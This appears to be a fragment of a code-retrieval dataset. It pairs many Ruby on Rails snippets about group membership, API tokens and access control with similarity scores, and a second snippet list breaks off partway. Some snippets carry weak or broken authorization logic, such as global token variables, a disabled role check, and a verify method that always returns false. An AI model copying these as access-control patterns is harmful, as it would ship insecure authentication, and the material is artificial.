"def joinGroup\n id = params[:id]\n line = \"https://gtcollab.herokuapp.com/api/groups/\" + id + \"/join/\"\n \n require \"net/http\"\n require \"uri\"\n\n parsed_url = URI.parse(line)\n\n http = Net::HTTP.new(parsed_url.host, parsed_url.port)\n http.use_ssl = true\n\n req = Net::HTTP::Post.new(parsed_url.request_uri)\n\n req.add_field(\"authorization\", $token)\n\n response = http.request(req)\n response.inspect\n\n redirect_to course_path(params[:course_id], :name => params[:name], :joined => params[:joined])\n end",
"def restrict_access\n authenticate_or_request_with_http_token do |token, options|\n ApiKey.exists?(access_token: token)\n end\nend",
"def index\n id = -1 \n if params[:id] \n id = params[:id]\n else \n id = current_user.id \n end \n\n @user = User.find(id)\n @group = UserGroup.find_by(user_id: id, name: params[:group])\n\n if [email protected]?\n @group_members = get_members(@user, @group)\n end \n\n end",
"def group_member_params\n params.permit(:users_id, :travel_groups_id)\n end",
"def create\n @user_group = UserGroup.new(params[\"user_group\"])\n permission_ids = params[\"permissions\"]\n org_id = params[:organization_id]\n @user_group.permission_ids = permission_ids\n @user_group.organization_id = org_id\n\n if @user_group.save\n redirect_to organization_user_groups_path\n else\n flash[:error] = t('user_group.exist')\n @permissions = Permission.get_hash_group_permission\n render :new\n end\n\n end",
"def show\r\n \r\n\t\t@user = User.find(params[:id])\r\n @microposts = @user.microposts.paginate(page: params[:page])\r\n\r\n \r\n #nur für currentuser...\r\n if @user == current_user\r\n @interests = Array.new\r\n @user.interests.each do |i|\r\n @interests.push(i.hobby)\r\n end\r\n #frage nach aktuellem user ob in gruppe, aber nur wenn user.group == nil...\r\n fbuser = FbGraph::User.fetch(@user.uid, :access_token => @user.oauth_token)\r\n #Teste ob User in FB Gruppe\r\n group = fbuser.groups\r\n @test = group\r\n\r\n # @group_attribute = false\r\n # current_user.group = false\r\n group.each do |x|\r\n if x.name == 'Connectify'\r\n @group_attribute = true\r\n current_user.group = true\r\n break\r\n else\r\n @group_attribute = false\r\n current_user.group = false\r\n end\r\n end\r\n\r\n current_user.save\r\n\r\n else\r\n begin\r\n #user nicht current_user\r\n @exist = UserVisit.where(user_id: @user.id).where(visitor_id: current_user.id).first\r\n if @exist.nil?\r\n @user.user_visits.build(:visitor_id => current_user.id).save!\r\n end\r\n\r\n\r\n #user oauth abgelaufen\r\n if ((Time.now <=> (Time.parse(@user.oauth_expires_at)+(60*60))) == 1)\r\n #do something\r\n \r\n\r\n else #user oauth noch nicht abgelaufen\r\n #Zuerst schauen ob CurrentUser in Gruppe\r\n if current_user.group == false || current_user.group == nil\r\n #frage nach aktuellem user ob in gruppe, aber nur wenn user.group == nil...\r\n fbcurrent_user = FbGraph::User.fetch(current_user.uid, :access_token => current_user.oauth_token)\r\n #Teste ob User in FB Gruppe\r\n group = fbcurrent_user.groups\r\n\r\n group.each do |x|\r\n if x.name == 'Connectify'\r\n current_user.group = true\r\n break\r\n else\r\n current_user.group = false\r\n end\r\n end\r\n\r\n if fbcurrent_user.groups.empty?\r\n current_user.group = false\r\n \r\n end\r\n current_user.save\r\n end\r\n \r\n fbuser = FbGraph::User.fetch(@user.uid, :access_token => @user.oauth_token)\r\n \r\n fbuser.groups.each do |x|\r\n if x.name == 'Connectify'\r\n @user.group = true\r\n break\r\n else\r\n @user.group = false\r\n end\r\n end\r\n\r\n if fbuser.groups.empty?\r\n @user.group = false\r\n end\r\n @user.save\r\n\r\n\r\n end #end user oauth abgelaufen\r\n\r\n rescue FbGraph::Unauthorized => e\r\n case e.message\r\n when /Duplicate status message/\r\n \r\n # handle dup code\r\n when /Error validating access token/\r\n \r\n # handle bad credentials\r\n else\r\n raise e\r\n end\r\n end #end rescue\r\n end # end current oder other user\r\n\r\n\r\n\r\n end",
"def manage_groups\n @other_user = @login_user\n @groups = @login_user.groups\n end",
"def restrict_access\n api_key = APIKey.find_by(access_token: params[:access_token])\n render plain: \"You aren't authorized, buster!\", status: 401 unless api_key\n end",
"def is_admin\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n if @user.is_admin?(@group)\n render json: {result: 1}\n else\n render json: {result: 0}\n end\n end",
"def access_params\n params[:access].permit(:user_id)\n end",
"def restrict_access \n \t# Não sei o porque, mas é precisa instanciar esse objeto\n \tresponse = nil\n \t\n \t# Verifica se o TOKEN existe\n \t# TODO: Fazer uma validação do TOKEN quando for chamá-lo\n \t# ao invés de fazer isso aqui, pois economiza uma chamada\n \tif params[:token].nil?\n \t\t# bloqueia o acesso\n \t\thead :unauthorized # retirar no futuro quando melhorar a analise do token\n \telse\n \t\t# Faz a chamada pro API da Arich mediante parâmetros no CONFIG da aplicação Rails\n\t\tNet::HTTP.start(Rails.application.config.authentication_location, Rails.application.config.authentication_port) {|http|\n\t\t\t\tresponse = http.head(Rails.application.config.authentication_complement + params[:token])\n\t\t}\n\n\t\t# Analisa o retorno da chamada da API, se algo diferente de\n\t\t# 200 ele rejeita a autenticação\n\t\tif response.code != \"200\"\n\t\t\thead :unauthorized\n\t\tend \n\tend\n end",
"def authorize!\n api_key = ApiKey.find_by_access_token(params[:access_token])\n head :unauthorized unless api_key\n return false\n end",
"def token_verify\r\n\r\n #render json: {id: params[\"user\"][\"id\"], params: params}\r\n \r\n user_tmp = User.find(params[:id])\r\n if user_tmp.authentication_token == params[:authentication_token]\r\n $granted = true\r\n render json: false\r\n else\r\n \r\n render json: false\r\n end\r\n end",
"def create\n ip = request.location\n @user = current_user\n @group = @user.groups_as_owner.new(params[:group])\n params[:group][:member_ids] = (params[:group][:member_ids] << @group.member_ids).flatten\n @group.school_id = @user.school_id\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render json: @group, status: :created, location: @group }\n else\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def groups_access(access)\n group_ids = group_ids_access(access)\n Group.where(id: group_ids)\n end",
"def show\n @group = Group.includes(:users).find(params[:id])\n @group_member = GroupMember.new\n @group_member.group = @group\n\n if params[:from_reading_list]\n @reading_list = ReadingList.find(params[:from_reading_list])\n else\n @reading_list = nil\n end\n\n respond_to do |format|\n if @group.owner == current_user\n format.html\n format.json { render json: @group }\n else\n msg = \"You are not authorized to access group #{params[:id]}.\"\n format.html { redirect_to groups_url, alert: msg }\n format.json { render json: msg }\n end\n end\n end",
"def valid_auth_group_joined_created\n @group = Group.find_by_id(params[:id])\n if @group\n @joined = @group.users.include?(@user)\n @created = @group.creator == @user\n else\n flash[:warning] = \"Not Exist Group\"\n redirect_to :action => \"index\"\n end\n end",
"def ensure_proper_permission!\n @chatroom = Chatroom.find params[:chatroom_id]\n\n user = @chatroom.user\n study_group = @chatroom.study_group\n\n unless current_user == user || study_group&.has_member?(current_user)\n head 401\n end\n end",
"def group_request (v1_requests_params)\n req = Request.find(v1_requests_params[:id])\n @group = Group.where(id: v1_requests_params[:group_id]).first\n user = User.find(req.reciever_id)\n if v1_requests_params[:response]\n @group.users << user\n end\n @group\n end",
"def protect_auth\n\t\tapi_key = ApiKey.find_by_access_token(params[:access_token])\n\t\tusr = User.find(api_key.user_id)\n\t\tputs \"IS ROLE AUTHORIZED? #{params[:role] == usr.role}\"\n\t\t#head :unauthorized unless params[:role] == usr.role\n\n\n\t\tmsg = ''\n\t\tif params[:role] == usr.role\n\t\t\tmsg = \"AUTHORIZED\"\n\t\telse\n\t\t\tmsg = \"UNAUTHORIZED\"\n\t\tend\n\t\trespond_to do |format|\n \t\tformat.json { render :json => { :msg => msg } } \t\t\n \t\tend\n\tend",
"def add_user\n group_id_param = params[:group_id]\n user_id_param = params[:user_id]\n\n if group_id_param.nil? || group_id_param.blank?\n render json: { error: 'group_id not specified.' }, status: :bad_request\n return\n end\n\n if user_id_param.nil? || user_id_param.blank?\n render json: { error: 'user_id not specified.' }, status: :bad_request\n return\n end\n\n user = User.find_by_id(user_id_param)\n if user.nil?\n render json: { error: \"Can't find user #{user_id_param}.\" }, status: :bad_request\n return\n end\n\n group = CanvasSpaces.GroupCategory.groups.find_by_id(group_id_param)\n if group.nil?\n render json: { error: 'No such group found.' }, status: :bad_request\n else\n if @current_user.account.site_admin? ||\n group.leader_id == @current_user.id ||\n @current_user.id == user.id\n\n group.add_user user\n group.save\n\n render json: { message: 'Successfully added user.' }, status: :ok\n else\n # doesn't have access to the group\n render json: { error: \"Can't add user. Not owner or not adding self.\" }, status: :forbidden\n end\n end\n end",
"def access_group_params\n params.require(:access_group).permit(:name, :ldap_group_list)\n end",
"def handle_cloud_stack_sso\n @group_id = params[:group_id]\n\n # Check that the return url (to consume SSO)\n # matches the app domain\n @user_group_access_list = retrieve_user_access_list_for_app(current_user,current_app)\n if @user_group_access_list.one?\n @group = @user_group_access_list.first\n self.render_saml_response_page\n elsif @user_group_access_list.any?\n if !@group_id.blank? && @group = @user_group_access_list.find_by_uid(@group_id)\n self.render_saml_response_page\n else\n self.render_group_selection_page\n end\n else\n self.render_access_denied_page\n end\n end",
"def safe_select_group\n return unless user_signed_in? && params[:id]\n @membership = current_user.membership_in(params[:id])\n @group = @membership.group\n end",
"def auth_param; end",
"def authorize_muser\n puts \"AUTHORIZE USER\"\n puts \"user id #{get_current_muser.id}\"\n puts \"params: #{params[:id]}\"\n render json: { status: 401, message: 'Unauthorized'} unless get_current_muser.id == params[:id].to_i\n end",
"def index\n authorize UserGroup\n @user_groups = UserGroup.all\n end",
"def credit_requester_for_unused_group_requests\n requester_request_groups = RequestGroup.where([\"request_id = ?\", @request_group.request_id])\n if requester_request_groups.count > 1\n request_groups_not_accepted = requester_request_groups.reject { |request_group| request_group.group_id == @request_group.group_id }\n requester = @request_group.request.user\n request_groups_not_accepted.each { |request_group| requester.add_tokens(request_group) } \n end\n end",
"def restrict_create\n\t\tauthenticate_or_request_with_http_token do |token, options|\n\t\t\tapi_token = ApiToken.find_by_access_token(token)\n\t\t\t@token_account = api_token.account if api_token\n\t\tend\n\tend",
"def group_params\n params.require(:group).permit(:name, :group_image, user_ids: [])\n end",
"def create\n groups = [];\n keywords = [];\n\n params[:groups].each do |group|\n g = Group.find_by_facebook_id(group[:id]) || Group.create({\n facebook_id: group[:id],\n name: group[:name]\n })\n groups << g\n end\n\n if params[:keywords]\n params[:keywords].each do |keyword|\n k = Keyword.find_by_name(keyword) || Keyword.create(name: keyword)\n keywords << k\n end\n end\n\n oauth = Koala::Facebook::OAuth.new(ENV[\"FACEBOOK_APP_ID\"], ENV[\"FACEBOOK_APP_SECRET\"])\n long_token = oauth.exchange_access_token_info(params[:user][:authToken])[\"access_token\"]\n user = User.find_by_email(params[:user][:email]) || User.create(email: params[:user][:email])\n user.update_attributes(auth_token: long_token)\n \n r = user.requests.create\n r.groups << groups\n r.keywords << keywords\n r.save\n\n # FacebookApi.new(r)\n render nothing: true\n end",
"def restrict_access\n authenticate_or_request_with_http_token do |token, options|\n ApiKey.exists?(access_token: token)\n end\n end",
"def update\n @group_member = GroupMember.find(params[:id])\n\n if @group_member.group.owner != current_user\n respond_to do |format|\n format.html { redirect_to @group_member.group, notice: 'User not authorized.' }\n format.json { render json: @group_member, status: :not_authorized, location: @group_member }\n end\n return\n end\n \n respond_to do |format|\n if @group_member.update_attributes(params[:group_member])\n format.html { redirect_to @group_member, notice: 'Group member was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @group_member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n #logger.info \"GroupsController Get Parameters: #{params}\"\n if @group\n render json: @group.to_json(:include => {:memberships => {:only => [:admin], :include => {:user => {:only => [:id, :first_name, :last_name, :email]}}}})\n else\n render json: {error: \"YOU MUST BE MEMBER OF THIS GROUP TO SEE IT\"}, status: :unprocessable_entity\n end\n end",
"def get_accountholdergroups_token_with_http_info(token, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AccountHolderGroupsApi.get_accountholdergroups_token ...'\n end\n # verify the required parameter 'token' is set\n if @api_client.config.client_side_validation && token.nil?\n fail ArgumentError, \"Missing the required parameter 'token' when calling AccountHolderGroupsApi.get_accountholdergroups_token\"\n end\n # resource path\n local_var_path = '/accountholdergroups/{token}'.sub('{' + 'token' + '}', CGI.escape(token.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'AccountHolderGroupResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || []\n\n new_options = opts.merge(\n :operation => :\"AccountHolderGroupsApi.get_accountholdergroups_token\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AccountHolderGroupsApi#get_accountholdergroups_token\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def authorize\n @user = User.find_by_id_and_multitrack_token(params[:user_id], params[:token])\n head(@user ? :ok : :forbidden)\n end",
"def update\n #logger.info \"Put parameters: #{params.to_json}\"\n\n if @membership.admin \n if @group.update_attributes(params[:group])\n head :no_content\n else\n render json: @group.errors, status: :unprocessable_entity\n end\n else \n render json: {error: \"YOU MUST BE AN ADMINISTRATOR TO COMPLETE THIS ACTION\"}, status: :unprocessable_entity\n end \n end",
"def group_required\n required_group = Group.find_or_create_by(:name => \"Admin\")\n unless current_user.groups.is_member?(required_group)\n flash[:error] = \"The function you wish to use is only available to admin users\"\n redirect_to root_path\n end\n end",
"def restrict_access\n authenticate_or_request_with_http_token do |token, options|\n ApiKey.exists?(access_token: token)\n end\n end",
"def restrict_access\n authenticate_or_request_with_http_token do |token, options|\n ApiKey.exists?(access_token: token)\n end\n end",
"def join\n @group = Group.find(params[:id])\n \n if group_user = GroupUser.first(:conditions => ['group_id = ? AND user_id = ?', @group.id, current_user.id])\n if ['cancelled', 'invite_declined'].include?(group_user.status)\n group_user.request!\n flash[:notice] = 'Your membership request was sent to group owner.'\n elsif group_user.status == 'approved'\n flash[:error] = 'You are already member of this group.'\n else\n flash[:error] = 'You cannot join this group.'\n end\n else\n group_user = GroupUser.create(:group_id => @group.id, :user_id => current_user.id, :role_id => Role.find_by_name('User').id)\n group_user.request!\n flash[:notice] = 'Your membership request was sent to group owner.'\n end\n \n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def join\n @group = Group.find(params[:id])\n \n if group_user = GroupUser.first(:conditions => ['group_id = ? AND user_id = ?', @group.id, current_user.id])\n if ['cancelled', 'invite_declined'].include?(group_user.status)\n group_user.request!\n flash[:notice] = 'Your membership request was sent to group owner.'\n elsif group_user.status == 'approved'\n flash[:error] = 'You are already member of this group.'\n else\n flash[:error] = 'You cannot join this group.'\n end\n else\n group_user = GroupUser.create(:group_id => @group.id, :user_id => current_user.id, :role_id => Role.find_by_name('User').id)\n group_user.request!\n flash[:notice] = 'Your membership request was sent to group owner.'\n end\n \n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def group_params\n params.require(:group).permit(:event_id, :user_id)\n end",
"def update\n @user_group = UserGroup.find_by_id(params[:id])\n permission_ids = params[\"permissions\"] || []\n permission_ids.map! {|p| p.to_i}\n current_permission_ids = @user_group.permission_ids\n group_name = params[\"user_group\"][\"name\"]\n\n existed_group = UserGroup.where(:name =>group_name)\n if existed_group.empty? || existed_group.first.id == params[:id].to_i\n if @user_group.update_attributes(params[\"user_group\"])\n\n # The update action make log saved or not\n is_logged = !@user_group.previous_changes.blank?\n if current_permission_ids != permission_ids\n @user_group.permission_ids = permission_ids\n\n # Create log if not logged before\n @user_group.create_activity :update, owner: current_user, params: {:detail => I18n.t('logs.update_group', group_name: @user_group.name)} if !is_logged\n end\n redirect_to organization_user_groups_path(params[:organization_id])\n end\n else\n flash[:error] = t('user_group.exist')\n redirect_to edit_organization_user_group_path(params[:organization_id],@user_group)\n end\n end",
"def permit\n user = User.find(params[:user_id])\n group = Group.find(params[:id])\n membership = Membership.find_by(user: user, group: group)\n if membership\n membership.update_column(:active, true)\n membership.touch # For showing on dashboard.\n end\n redirect_back fallback_location: '/'\n end",
"def isAuthorizedUser\n redirect_to groups_path unless current_user.id == @project.user_id\n end",
"def move_users_to_group(group_id, arr_of_user_ids)\n arr_of_user_ids.each { |id|\n populate_group = HTTParty.post(\n \"#{$canvas_url}/api/v1/groups/#{group_id}/memberships\",\n headers: { \"authorization\" => \"Bearer #{$canvas_token}\" },\n body: {\n user_id: id\n } \n )\n }\nend",
"def atest_ID_25862_new_post_in_group_you_manage()\n login_as_user1\n read_all_updates\n groupName = create_any_new_group(\"Open Group\", \"Family\")\n logout_common\n login_as_user2\n post_to_any_group(\"Family\",groupName)\n logout_common\n login_as_user1\n verify_updates\n end"
] |
[
"0.6468812",
"0.6372567",
"0.6303857",
"0.61229575",
"0.6084216",
"0.60224223",
"0.5995105",
"0.59465396",
"0.5930729",
"0.5912493",
"0.59118164",
"0.5902506",
"0.58922577",
"0.584131",
"0.5817653",
"0.5808346",
"0.5796773",
"0.5779347",
"0.57419986",
"0.57265806",
"0.57235765",
"0.5722837",
"0.57153976",
"0.57149136",
"0.5713222",
"0.5708488",
"0.5700051",
"0.5693448",
"0.5668203",
"0.5659846",
"0.56553143",
"0.5639503",
"0.56393933",
"0.5632902",
"0.5624512",
"0.5610153",
"0.5599586",
"0.5593195",
"0.5577469",
"0.5572334",
"0.5549117",
"0.55440325",
"0.55399597",
"0.55399597",
"0.55399597",
"0.5532353",
"0.5530602",
"0.55277634",
"0.55263263",
"0.5525537",
"0.5524925",
"0.55087095",
"0.55082715",
"0.550823",
"0.5502531",
"0.5501575",
"0.54994583",
"0.5499196",
"0.549754",
"0.54919463",
"0.5491243",
"0.5488092",
"0.5487883",
"0.5483683",
"0.5467403",
"0.5456699",
"0.54503757",
"0.54500824",
"0.54475003",
"0.5445491",
"0.54423195",
"0.5440956",
"0.54390484",
"0.5427753",
"0.54271805",
"0.5424138",
"0.5417073",
"0.54154795",
"0.5413836",
"0.5411275",
"0.54107434",
"0.54092044",
"0.539872",
"0.53974944",
"0.53956896",
"0.53873134",
"0.5386429",
"0.53829455",
"0.5381567",
"0.5380533",
"0.5377516",
"0.5374868",
"0.5374868",
"0.53738207",
"0.53738207",
"0.5373692",
"0.5373206",
"0.536234",
"0.5362333",
"0.5357816",
"0.53570956"
] |
0.0
|
-1
|
params: access_token, group_id, user_id admin's right
|
def transfer_admin
if current_user?(@referred_user)
render_error(404, request.path, 20111, "Cannot transfer admin to yourself.")
else
change_admin(@current_user, @referred_user, @group)
respond_with(@group, only: [:id, :name, :admin_id, :creator_id])
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def admin_edit\n @guidance_groups = GuidanceGroup.where(org_id: current_user.org.id)\n @guidance_group = GuidanceGroup.find(params[:id])\n authorize @guidance_group\n end",
"def authorize_member\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n auth_or_unauth_member(\"auth\", @user, @group)\n end",
"def restrict_access\n\t\tauthenticate_or_request_with_http_token do |token, options|\n\t\t\tapi_token = ApiToken.find_by_access_token(token)\n\t\t\tparam_account = self.get_account\n\t\t\t# Does the api token exist and if so,\n\t\t\t# does it have the same id as the requester supplied?\n\t\t\tapi_token && api_token.account_id == param_account.id\n\t\tend\n\tend",
"def authorization_required\n return true if admin?\n\n if [email protected]_edit?(logged_in_user)\n flash[:notice] = \"你沒有權限執行這個動作\"\n permission_denied\n @group = nil\n false\n end\n end",
"def atest_ID_25873_access_granted_as_follower_of_a_private_group()\n login_as_user1\n read_all_updates\n groupName = create_any_new_group(\"Private\", \"News\")\n logout_common\n login_as_user2\n read_all_updates\n find_a_group(\"#{groupName}\")\n request_invite\n logout_common\n login_as_user1\n verify_updates\n go_to_updates_page\n approve_as_follower\n logout_common\n login_as_user2\n verify_updates\n end",
"def is_admin\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n if @user.is_admin?(@group)\n render json: {result: 1}\n else\n render json: {result: 0}\n end\n end",
"def authorize_group_access\n group_id = group_params[:id]\n\n return if group_id.blank?\n group = Group.find(group_id)\n validate_max_members_not_exceeded!(group)\n return if group_assignment.grouping.groups.find_by(id: group_id)\n\n report_invitation_failure\n raise NotAuthorized, \"You are not permitted to select this team\"\n end",
"def check_permission\n raise ActiveRecord::RecordNotFound if self.user.nil?\n raise ActiveRecord::RecordNotFound if self.group.nil?\n return true if !group.group_type.is_approval_required && self.user.can_join_groups?\n return true if (self.is_user_invited? || self.is_request_approved?) && self.user.can_join_groups?\n raise ApiAccessEvanta::RecordOutOfScope if self.group.secret? && !self.is_user_invited?\n raise ApiAccessEvanta::PermissionDenied\n end",
"def permission_required \n render_403 unless admin? || @user == current_user\n end",
"def admin_user\n @group = Membership.find(params[:id]).group\n redirect_to group_members_url(@group) unless @group.has_admin?(current_user)\n end",
"def require_admin\n grant_access?(\"index\", \"users\")\n #position?('admin')\n end",
"def access_params\n params[:access].permit(:user_id)\n end",
"def authorize_for(group)\n current_user.becomes(LearnUser).allowed_to?(group)\n end",
"def admin_user\n @group = Group.find(by_id)\n redirect_to @group unless @group.has_admin?(current_user)\n end",
"def admin_grant_permissions\n @user = User.includes(:perms).find(params[:id])\n authorize @user\n user_perms = current_user.perms\n @perms = user_perms & [Perm.grant_permissions, Perm.modify_templates, Perm.modify_guidance, Perm.use_api, Perm.change_org_details]\n end",
"def group_required\n required_group = Group.find_or_create_by(:name => \"Admin\")\n unless current_user.groups.is_member?(required_group)\n flash[:error] = \"The function you wish to use is only available to admin users\"\n redirect_to root_path\n end\n end",
"def user_access_control\n bot = Bot.find(params[:id])\n\n if current_user.admin?\n @bot = User.find(bot.account.user_id).admin? ? current_user.bots.find(params[:id]) : bot\n else\n @bot = current_user.bots.find(params[:id])\n end\n\n rescue\n response_access_denied\n end",
"def show\n authorize @group\n end",
"def update_access_token!\n if self.role_type === \"admin\"\n self.access_token = \"#{self.id}:#{self.email}\"\n else\n self.access_token = \"#{self.id}:#{Devise.friendly_token}\"\n end\n save\n end",
"def add_group_permission(g)\n\t\t\n\tend",
"def restrict_access\n user = User.find_by_authentication_token(params[:access_token])\n head :unauthorized unless user\n end",
"def admin_new\n @guidance_groups = GuidanceGroup.where(org_id: current_user.org.id)\n @guidance_group = GuidanceGroup.new(org_id: current_user.org.id)\n authorize @guidance_group\n end",
"def admin_update_permissions\n @user = User.includes(:perms).find(params[:id])\n authorize @user\n perms_ids = params[:perm_ids].blank? ? [] : params[:perm_ids].map(&:to_i)\n perms = Perm.where( id: perms_ids)\n current_user.perms.each do |perm|\n if @user.perms.include? perm\n if ! perms.include? perm\n @user.perms.delete(perm)\n if perm.id == Perm.use_api.id\n @user.remove_token!\n end\n end\n else\n if perms.include? perm\n @user.perms << perm\n if perm.id == Perm.use_api.id\n @user.keep_or_generate_token!\n end\n end\n end\n end\n\n if @user.save!\n redirect_to({controller: 'users', action: 'admin_index'}, {notice: _('Information was successfully updated.')}) # helpers.success key does not exist, replaced with a generic string\n else\n flash[:notice] = failed_update_error(@user, _('user'))\n end\n end",
"def user_params\n params.require(:user).permit(:current_user, :group_ids => [])\n end",
"def accessible_user\n @user = User.find(params[:id])\n\n user_accessible = (@user.id == current_user.id) # can edit self\n unless user_accessible\n # check if user is in accessible group\n groups = Group.accessible_by(current_ability)\n @user.groups_users.each do |groups_user|\n if groups.include?(groups_user.group)\n user_accessible = true\n break\n end\n end\n end\n unless user_accessible\n raise CanCan::AccessDenied.new(\"Permission error\")\n end\n end",
"def index\n @tutor_groups = TutorGroup.where(academic_session_id: session[:global_academic_session])\n if !@tutor_groups.blank?\n authorize @tutor_groups\n end\n \n end",
"def permission_required \n render_403 unless admin? || @item.is_editable_by?(current_user)\n end",
"def group_params\n params.require(:group).permit(:org_id, :name, :description, permission_ids: [], user_ids: [])\n end",
"def admin_new\n @guidance_group = GuidanceGroup.new\n authorize @guidance_group\n end",
"def authorize\n \n token = decode_token(@auth_header)\n data = get_canvas_data(@canvas, token.first[\"user_id\"])\n \n data[\"group_id\"] == token.first[\"group_id\"] && data[\"has_access\"] == \"true\"\n \n rescue StandardError => _\n false\n end",
"def user_access\n @bot = current_user.admin? ? Bot.find(params[:id]) : current_user.bots.find(params[:id])\n\n check_user_access(@bot.account.user_id)\n\n rescue\n flash_access_denied\n end",
"def restrict_access \n \t# Não sei o porque, mas é precisa instanciar esse objeto\n \tresponse = nil\n \t\n \t# Verifica se o TOKEN existe\n \t# TODO: Fazer uma validação do TOKEN quando for chamá-lo\n \t# ao invés de fazer isso aqui, pois economiza uma chamada\n \tif params[:token].nil?\n \t\t# bloqueia o acesso\n \t\thead :unauthorized # retirar no futuro quando melhorar a analise do token\n \telse\n \t\t# Faz a chamada pro API da Arich mediante parâmetros no CONFIG da aplicação Rails\n\t\tNet::HTTP.start(Rails.application.config.authentication_location, Rails.application.config.authentication_port) {|http|\n\t\t\t\tresponse = http.head(Rails.application.config.authentication_complement + params[:token])\n\t\t}\n\n\t\t# Analisa o retorno da chamada da API, se algo diferente de\n\t\t# 200 ele rejeita a autenticação\n\t\tif response.code != \"200\"\n\t\t\thead :unauthorized\n\t\tend \n\tend\n end",
"def is_admin_in(group)\n unless group.admins.include? current_user\n flash[:danger] = \"Devi essere un amministratore per eseguire questa azione\"\n redirect_to group_path(uuid: group.uuid)\n end\n end",
"def check_access_control\n @bot = Bot.find(params[:id])\n\n response_access_denied unless current_user.has_role?(:admin) || current_user.id == @bot.account.user_id\n rescue\n response_access_denied\n end",
"def makePriv #:doc:\n if params[:i_am_client] and params[:groups] == nil\n # Groups were searched in editRights-method\n param_groups = @groups\n else\n param_groups = params[:groups]\n end\n \n # try to get file from database\n if not fetchFile\n if params[:i_am_client] \n render :text => \"File not found\", :status => 404\n return\n else\n @error = \"File not found!\"\n render \"viewFileRights\"\n return\n end\n end\n \n begin \n # all groups owned by user\n mygroups = Group.find(:all, :conditions => [\"user_id = ?\", @user.id])\n \n # all groups associated with the file\n filegroup_ids = Array.new\n @file.groups.find(:all).each do |t|\n filegroup_ids.push(t.id)\n end\n \n # check which groups should have access to file\n delete_auth_groups = \"\"\n mygroups.each do |mygroup|\n if param_groups[mygroup.name] == \"1\" and not filegroup_ids.include?(mygroup.id)\n # if group-checkbox is checked, group gets permission to access file\n @file.devfile_auth_groups.create(:group_id => mygroup.id)\n elsif param_groups[mygroup.name] == \"0\" and filegroup_ids.include?(mygroup.id)\n # if group-checkbox is not checked, unauthorize fileaccess to this file\n if delete_auth_groups == \"\" then delete_auth_groups += \"group_id IN (#{mygroup.id}\"\n else delete_auth_groups += \", #{mygroup.id}\" end\n end\n end\n if delete_auth_groups != \"\"\n delete_auth_groups += \") AND devfile_id = ?\"\n DevfileAuthGroup.delete_all([delete_auth_groups, @file.id])\n end\n \n # make file private\n @file.update_attribute(:privatefile, true)\n \n rescue => e\n puts \"Error in editing filerights: \" + e\n if params[:i_am_client] \n render :text => \"Error in editing filerights: \" + e, :status => 409\n return\n else\n @error = \"Error in editing filerights: \" + e\n render \"Error in editing filerights: \" + e\n return\n end\n end\n \n if params[:i_am_client]\n render :text => \"#{@file.name} visibility modified.\", :status => 200\n return\n else\n flash[:notice] = \"#{@file.name} visibility modified.\"\n redirect_to :action => \"viewFileRights\"\n end\n end",
"def restrict_access\n authenticate_or_request_with_http_token do | token , options |\n ApiKey.exists?(access_token: token)\n end\n end",
"def access_inlcude_member\n @post = Post.find params[:id]\n\n unless @post.community_id == 0 \n @community = Community.find_by_id @post.community_id \n if @community.status.to_s == \"private\"\n if validate_member_for(@community,@post)\n #if true then redirect\n redirect_to RAILS_URL\n end\n end \n end\n end",
"def update\n #logger.info \"Put parameters: #{params.to_json}\"\n\n if @membership.admin \n if @group.update_attributes(params[:group])\n head :no_content\n else\n render json: @group.errors, status: :unprocessable_entity\n end\n else \n render json: {error: \"YOU MUST BE AN ADMINISTRATOR TO COMPLETE THIS ACTION\"}, status: :unprocessable_entity\n end \n end",
"def show\n authorize! :show, @group\n end",
"def restrict_access\n\t\t# api_key = ApiKey.find_by_access_token(params[:access_token])\n\t\t# head :unauthorized unless api_key\n\n\t\tauthenticate_or_request_with_http_token do |token, options|\n\t\t\tApiKey.exists?(:access_token => token)\n\t\tend\n\tend",
"def access_token\n end",
"def manage_groups\n @other_user = @login_user\n @groups = @login_user.groups\n end",
"def verify_admin_or_god\n return if current_user.admin? || current_user.god?\n\n render(json: format_error(request.path, \"No tenes permiso\"), status: 401)\n end",
"def restrict_create\n\t\tauthenticate_or_request_with_http_token do |token, options|\n\t\t\tapi_token = ApiToken.find_by_access_token(token)\n\t\t\t@token_account = api_token.account if api_token\n\t\tend\n\tend",
"def group_params\n params.require(:group).permit(:name, rights_attributes: [:id, :name, :is_available, :right_ids])\n end",
"def group_params\n params.permit(:group_title, :image, new_members: [], del_members: [], new_admins: [], del_admins: [])\n end",
"def add_tokens_to_babysitter_user_group\n current_user.add_tokens(@request_group)\n end",
"def index\n @resources = Group.search(params[:search]).where(id: current_user.admin_groups).order(\"#{sort_column} #{sort_direction}\").paginate(per_page: 11, page: params[:page])\n authorize @resources\n end",
"def authorization; end",
